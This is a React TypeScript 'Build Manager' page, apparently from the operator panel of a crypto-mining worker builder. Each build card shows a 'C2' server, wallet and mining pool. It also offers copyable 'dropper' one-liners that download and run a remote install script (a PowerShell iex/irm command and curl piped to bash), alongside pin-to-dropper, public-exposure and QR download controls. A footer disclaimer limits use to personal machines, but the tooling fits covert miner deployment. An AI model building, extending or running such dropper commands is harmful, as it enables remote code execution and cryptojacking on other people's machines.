Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
460 lines
16 KiB
TypeScript
460 lines
16 KiB
TypeScript
import { useCallback, useEffect, useRef, useState } from 'react';
|
||
import { useNavigate } from 'react-router-dom';
|
||
import { api } from '../api/client';
|
||
import type { BuildRecord } from '../types';
|
||
import DownloadButton from '../components/DownloadButton';
|
||
import AuthDownloadButton from '../components/AuthDownloadButton';
|
||
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
||
import NeonCard from '../components/NeonCard/NeonCard';
|
||
import { HelpTip } from '../components/HelpTip';
|
||
import './BuildManagerPage.css';
|
||
|
||
// ─── helpers ─────────────────────────────────────────────────────────────────
|
||
|
||
export function truncateWallet(w: string): string {
|
||
if (!w || w.length < 12) return w || '—';
|
||
return `${w.slice(0, 6)}…${w.slice(-6)}`;
|
||
}
|
||
|
||
export function truncateUrl(u: string): string {
|
||
try {
|
||
const parsed = new URL(u);
|
||
return parsed.host;
|
||
} catch {
|
||
return u.length > 30 ? u.slice(0, 28) + '…' : u;
|
||
}
|
||
}
|
||
|
||
export function fmtSize(bytes: number): string {
|
||
if (!bytes) return '—';
|
||
if (bytes >= 1024 * 1024) return `${(bytes / 1024 / 1024).toFixed(1)} MB`;
|
||
return `${(bytes / 1024).toFixed(0)} KB`;
|
||
}
|
||
|
||
function fmtDate(iso: string): string {
|
||
try {
|
||
const d = new Date(iso);
|
||
return d.toLocaleDateString(undefined, { month: 'short', day: 'numeric', year: 'numeric' }) +
|
||
' ' + d.toLocaleTimeString(undefined, { hour: '2-digit', minute: '2-digit' });
|
||
} catch {
|
||
return iso;
|
||
}
|
||
}
|
||
|
||
export function platformLabel(p?: string): string {
|
||
if (!p) return 'Win';
|
||
const m: Record<string, string> = {
|
||
windows: 'Win', linux: 'Linux', darwin: 'macOS', universal: 'Universal',
|
||
};
|
||
return m[p.toLowerCase()] ?? p;
|
||
}
|
||
|
||
export function platformColor(p?: string): string {
|
||
if (!p) return 'var(--neon-cyan)';
|
||
const m: Record<string, string> = {
|
||
windows: 'var(--neon-cyan)', linux: '#a3e635', darwin: '#f0abfc', universal: 'var(--neon-amber)',
|
||
};
|
||
return m[p.toLowerCase()] ?? '#aaa';
|
||
}
|
||
|
||
function CopyButton({ text, label }: { text: string; label: string }) {
|
||
const [copied, setCopied] = useState(false);
|
||
const copy = () => {
|
||
navigator.clipboard.writeText(text).then(() => {
|
||
setCopied(true);
|
||
setTimeout(() => setCopied(false), 1800);
|
||
});
|
||
};
|
||
return (
|
||
<button type="button" className="bm-copy-btn" onClick={copy} title={text}>
|
||
{copied ? '✓ Copied' : label}
|
||
</button>
|
||
);
|
||
}
|
||
|
||
function DeleteButton({ buildId, onDeleted, onError }: { buildId: string; onDeleted: () => void; onError: (msg: string) => void }) {
|
||
const [confirming, setConfirming] = useState(false);
|
||
const [busy, setBusy] = useState(false);
|
||
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||
|
||
const handleClick = async () => {
|
||
if (!confirming) {
|
||
setConfirming(true);
|
||
timerRef.current = setTimeout(() => setConfirming(false), 3000);
|
||
return;
|
||
}
|
||
if (timerRef.current) clearTimeout(timerRef.current);
|
||
setBusy(true);
|
||
try {
|
||
await api.deleteBuild(buildId);
|
||
onDeleted();
|
||
} catch (e) {
|
||
onError(e instanceof Error ? e.message : 'Failed to delete build');
|
||
} finally {
|
||
setBusy(false);
|
||
setConfirming(false);
|
||
}
|
||
};
|
||
|
||
return (
|
||
<button
|
||
type="button"
|
||
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
|
||
disabled={busy}
|
||
onClick={() => void handleClick()}
|
||
title="Delete this build from server"
|
||
>
|
||
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
|
||
</button>
|
||
);
|
||
}
|
||
|
||
function PublicButton({
|
||
buildId,
|
||
isPublic,
|
||
onToggled,
|
||
onError,
|
||
}: {
|
||
buildId: string;
|
||
isPublic: boolean;
|
||
onToggled: () => void;
|
||
onError: (msg: string) => void;
|
||
}) {
|
||
const [busy, setBusy] = useState(false);
|
||
|
||
const handleClick = async () => {
|
||
if (busy) return;
|
||
setBusy(true);
|
||
try {
|
||
await api.setBuildPublic(buildId, !isPublic);
|
||
onToggled();
|
||
} catch (e) {
|
||
onError(e instanceof Error ? e.message : 'Failed to update public flag');
|
||
} finally {
|
||
setBusy(false);
|
||
}
|
||
};
|
||
|
||
return (
|
||
<button
|
||
type="button"
|
||
className={`bm-public-btn${isPublic ? ' bm-public-btn-active' : ''}`}
|
||
disabled={busy}
|
||
onClick={() => void handleClick()}
|
||
title={isPublic ? 'Remove from login-page public builds list' : 'Expose on unauthenticated public builds API'}
|
||
>
|
||
{busy ? '…' : isPublic ? '🌐 Public' : '🌐 Mark public'}
|
||
</button>
|
||
);
|
||
}
|
||
|
||
function PinButton({
|
||
buildId,
|
||
pinned,
|
||
onPinned,
|
||
onError,
|
||
}: {
|
||
buildId: string;
|
||
pinned: boolean;
|
||
onPinned: () => void;
|
||
onError: (msg: string) => void;
|
||
}) {
|
||
const [busy, setBusy] = useState(false);
|
||
|
||
const handleClick = async () => {
|
||
if (busy) return;
|
||
setBusy(true);
|
||
try {
|
||
if (pinned) {
|
||
await api.unpinAll();
|
||
} else {
|
||
await api.pinBuild(buildId);
|
||
}
|
||
onPinned();
|
||
} catch (e) {
|
||
onError(e instanceof Error ? e.message : pinned ? 'Failed to unpin build' : 'Failed to pin build');
|
||
} finally {
|
||
setBusy(false);
|
||
}
|
||
};
|
||
|
||
return (
|
||
<button
|
||
type="button"
|
||
className={`bm-pin-btn${pinned ? ' bm-pin-btn-active' : ''}`}
|
||
disabled={busy}
|
||
onClick={handleClick}
|
||
title={pinned ? 'Unpin — dropper will serve latest build' : 'Pin — dropper will serve this build'}
|
||
>
|
||
{busy ? '…' : pinned ? '📌 Pinned to Dropper' : '📌 Pin to Dropper'}
|
||
</button>
|
||
);
|
||
}
|
||
|
||
// ─── per-build card ───────────────────────────────────────────────────────────
|
||
|
||
function BuildCard({
|
||
build,
|
||
serverBase,
|
||
onReforge,
|
||
onDeleted,
|
||
onPinned,
|
||
onActionError,
|
||
}: {
|
||
build: BuildRecord;
|
||
serverBase: string;
|
||
onReforge: (b: BuildRecord) => void;
|
||
onDeleted: () => void;
|
||
onPinned: () => void;
|
||
onActionError: (msg: string) => void;
|
||
}) {
|
||
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
|
||
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
|
||
const isUniversal = build.platform?.toLowerCase() === 'universal';
|
||
const isFusion = !!build.file_name?.includes('runner') || (build.bundle_size && build.bundle_size > 0);
|
||
|
||
const ps1 = `iex (irm '${serverBase}/install.ps1')`;
|
||
const sh = `curl -sL ${serverBase}/install.sh | bash`;
|
||
|
||
return (
|
||
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card operator-deck-card operator-interactive${build.pinned ? ' bm-card-pinned' : ''}`}>
|
||
{/* ── Pinned banner ── */}
|
||
{build.pinned && (
|
||
<div className="bm-pinned-banner">
|
||
📌 ACTIVE DROPPER — <code>iex (irm '{serverBase}/install.ps1')</code> serves this build
|
||
</div>
|
||
)}
|
||
|
||
{/* ── Header row ── */}
|
||
<div className="bm-card-header">
|
||
<div className="bm-card-title">
|
||
<span className="bm-worker-name">{build.worker_name || '(unnamed)'}</span>
|
||
<span
|
||
className="bm-platform-badge"
|
||
style={{ color: platformColor(build.platform) }}
|
||
title={build.platform ?? 'windows'}
|
||
>
|
||
{platformLabel(build.platform)} <HelpTip field="bm_platform_badge" />
|
||
</span>
|
||
{build.public && <span className="bm-tag bm-tag-public">PUBLIC</span>}
|
||
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
|
||
{isUniversal && !isFusion && <span className="bm-tag bm-tag-universal">UNIVERSAL</span>}
|
||
</div>
|
||
<span className="bm-date">{fmtDate(build.created_at)}</span>
|
||
</div>
|
||
|
||
{/* ── Baked settings summary ── */}
|
||
<div className="bm-settings-grid">
|
||
<div className="bm-setting">
|
||
<span className="bm-setting-label">C2</span>
|
||
<span className="bm-setting-value mono" title={build.server_url}>{truncateUrl(build.server_url)}</span>
|
||
</div>
|
||
<div className="bm-setting">
|
||
<span className="bm-setting-label">Wallet</span>
|
||
<span className="bm-setting-value mono" title={build.wallet}>{truncateWallet(build.wallet)}</span>
|
||
</div>
|
||
<div className="bm-setting">
|
||
<span className="bm-setting-label">Pool</span>
|
||
<span className="bm-setting-value mono">
|
||
{build.pool_host || '—'}:{build.pool_port || '—'}
|
||
{build.pool_tls && <span className="bm-tls-badge"> TLS</span>}
|
||
</span>
|
||
</div>
|
||
<div className="bm-setting">
|
||
<span className="bm-setting-label">Threads</span>
|
||
<span className="bm-setting-value">{build.threads || '—'}</span>
|
||
</div>
|
||
<div className="bm-setting">
|
||
<span className="bm-setting-label">Size</span>
|
||
<span className="bm-setting-value">{fmtSize(build.bundle_size || build.file_size)}</span>
|
||
</div>
|
||
<div className="bm-setting">
|
||
<span className="bm-setting-label">File</span>
|
||
<span className="bm-setting-value mono" title={exeName}>{exeName.length > 28 ? exeName.slice(0, 26) + '…' : exeName}</span>
|
||
</div>
|
||
</div>
|
||
|
||
{/* ── Download methods ── */}
|
||
<div className="bm-downloads">
|
||
<div className="bm-downloads-label font-tech">DOWNLOAD</div>
|
||
<div className="bm-downloads-row">
|
||
<DownloadButton
|
||
apiPath={build.download_url || api.buildDownloadUrl(build.id)}
|
||
filename={exeName}
|
||
className="btn btn-primary bm-dl-btn"
|
||
>
|
||
↓ {isUniversal ? 'Universal ZIP' : exeName}
|
||
</DownloadButton>
|
||
<AuthDownloadButton
|
||
apiPath={api.buildUninstallUrl(build.id)}
|
||
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
|
||
className="btn btn-outline bm-dl-btn"
|
||
>
|
||
↓ Uninstall script
|
||
</AuthDownloadButton>
|
||
{build.extra_files?.map((f) => (
|
||
<DownloadButton
|
||
key={f.file_name}
|
||
apiPath={api.buildArtifactUrl(build.id, f.file_name)}
|
||
filename={f.file_name}
|
||
className="btn btn-outline bm-dl-btn"
|
||
>
|
||
↓ {f.file_name}
|
||
</DownloadButton>
|
||
))}
|
||
</div>
|
||
</div>
|
||
|
||
{/* ── Dropper one-liners ── */}
|
||
<div className="bm-dropper">
|
||
<div className="bm-downloads-label font-tech">
|
||
{build.pinned
|
||
? 'ONE-LINER DEPLOY (serves this pinned build)'
|
||
: 'ONE-LINER DEPLOY (serves latest build)'}{' '}
|
||
<HelpTip field="bm_dropper_oneliner" />
|
||
</div>
|
||
<div className="bm-dropper-row">
|
||
<span className="bm-dropper-os">Win</span>
|
||
<code className="bm-dropper-cmd">{ps1}</code>
|
||
<CopyButton text={ps1} label="Copy" />
|
||
</div>
|
||
<div className="bm-dropper-row">
|
||
<span className="bm-dropper-os">*nix</span>
|
||
<code className="bm-dropper-cmd">{sh}</code>
|
||
<CopyButton text={sh} label="Copy" />
|
||
</div>
|
||
<div className="bm-dropper-row">
|
||
<span className="bm-dropper-os">URL</span>
|
||
<code className="bm-dropper-cmd">{downloadUrl}</code>
|
||
<CopyButton text={downloadUrl} label="Copy" />
|
||
</div>
|
||
</div>
|
||
|
||
{/* ── QR + actions ── */}
|
||
<div className="bm-card-footer">
|
||
<div className="bm-qr-wrap">
|
||
<LanDownloadQR url={downloadUrl} />
|
||
<span className="bm-qr-label">Scan to download</span>
|
||
</div>
|
||
<div className="bm-action-btns">
|
||
<span className="bm-action-hint"><PublicButton buildId={build.id} isPublic={!!build.public} onToggled={onPinned} onError={onActionError} /><HelpTip field="bm_public_build" /></span>
|
||
<span className="bm-action-hint"><PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} /><HelpTip field="bm_pin_dropper" /></span>
|
||
<span className="bm-action-hint">
|
||
<button
|
||
type="button"
|
||
className="btn btn-secondary bm-reforge-btn"
|
||
onClick={() => onReforge(build)}
|
||
>
|
||
⚒ Re-forge
|
||
</button>
|
||
<HelpTip field="bm_reforge" />
|
||
</span>
|
||
<DeleteButton buildId={build.id} onDeleted={onDeleted} onError={onActionError} />
|
||
</div>
|
||
</div>
|
||
</NeonCard>
|
||
);
|
||
}
|
||
|
||
// ─── page ─────────────────────────────────────────────────────────────────────
|
||
|
||
export default function BuildManagerPage() {
|
||
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
||
const [loading, setLoading] = useState(true);
|
||
const [error, setError] = useState('');
|
||
const [serverBase, setServerBase] = useState(() => window.location.origin.replace(/\/$/, ''));
|
||
const navigate = useNavigate();
|
||
|
||
const applyServerBase = useCallback((suggestedUrl?: string) => {
|
||
const pub = suggestedUrl?.trim().replace(/\/$/, '');
|
||
setServerBase(pub || window.location.origin.replace(/\/$/, ''));
|
||
}, []);
|
||
|
||
const loadBuilds = useCallback(async () => {
|
||
try {
|
||
const [list, info] = await Promise.all([
|
||
api.listBuilds(),
|
||
api.getServerInfo().catch(() => null),
|
||
]);
|
||
setBuilds(list);
|
||
setError('');
|
||
if (info) applyServerBase(info.suggested_url);
|
||
else applyServerBase();
|
||
} catch (e) {
|
||
setError(e instanceof Error ? e.message : 'Failed to load builds');
|
||
applyServerBase();
|
||
} finally {
|
||
setLoading(false);
|
||
}
|
||
}, [applyServerBase]);
|
||
|
||
useEffect(() => { loadBuilds(); }, [loadBuilds]);
|
||
|
||
const handleReforge = useCallback((build: BuildRecord) => {
|
||
// Pass build id as query param so Forge page can pre-fill from it
|
||
navigate(`/forge?reforge=${encodeURIComponent(build.id)}`);
|
||
}, [navigate]);
|
||
|
||
return (
|
||
<div className="page fade-in bm-page operator-deck-page">
|
||
<header className="deck-hero">
|
||
<div className="deck-hero-text">
|
||
<p className="deck-eyebrow font-tech">WORKER BUILDS · DEPLOY & MANAGE</p>
|
||
<h1 className="font-display bm-title">Build Manager</h1>
|
||
<p className="form-hint bm-subtitle">
|
||
All forged workers — download, deploy, re-forge, or delete from any browser.
|
||
</p>
|
||
</div>
|
||
<div className="bm-header-actions">
|
||
<button type="button" className="btn btn-outline" onClick={loadBuilds} disabled={loading}>
|
||
{loading ? 'Loading…' : '↻ Refresh'}
|
||
</button>
|
||
<button type="button" className="btn btn-success" onClick={() => navigate('/forge')}>
|
||
⚒ New Forge
|
||
</button>
|
||
</div>
|
||
</header>
|
||
|
||
{error && (
|
||
<div className="form-error" style={{ marginBottom: '1rem' }}>
|
||
<span>⚠️</span> {error}
|
||
</div>
|
||
)}
|
||
|
||
{!loading && builds.length === 0 && !error && (
|
||
<NeonCard accent="cyan" className="bm-empty">
|
||
<p className="font-tech" style={{ color: 'var(--neon-cyan)' }}>NO BUILDS YET</p>
|
||
<p className="form-hint">Head to Forge, fill in your config, and click FORGE INSTALLER.</p>
|
||
<button type="button" className="btn btn-primary" onClick={() => navigate('/forge')} style={{ marginTop: '0.75rem' }}>
|
||
Go to Forge
|
||
</button>
|
||
</NeonCard>
|
||
)}
|
||
|
||
{loading && (
|
||
<div className="bm-loading">
|
||
<span className="font-tech" style={{ color: 'var(--neon-cyan)', fontSize: '0.85rem' }}>LOADING BUILDS…</span>
|
||
</div>
|
||
)}
|
||
|
||
<div className="bm-grid">
|
||
{builds.map((build) => (
|
||
<BuildCard
|
||
key={build.id}
|
||
build={build}
|
||
serverBase={serverBase}
|
||
onReforge={handleReforge}
|
||
onDeleted={loadBuilds}
|
||
onPinned={loadBuilds}
|
||
onActionError={(msg) => setError(msg)}
|
||
/>
|
||
))}
|
||
</div>
|
||
|
||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||
</footer>
|
||
</div>
|
||
);
|
||
}
|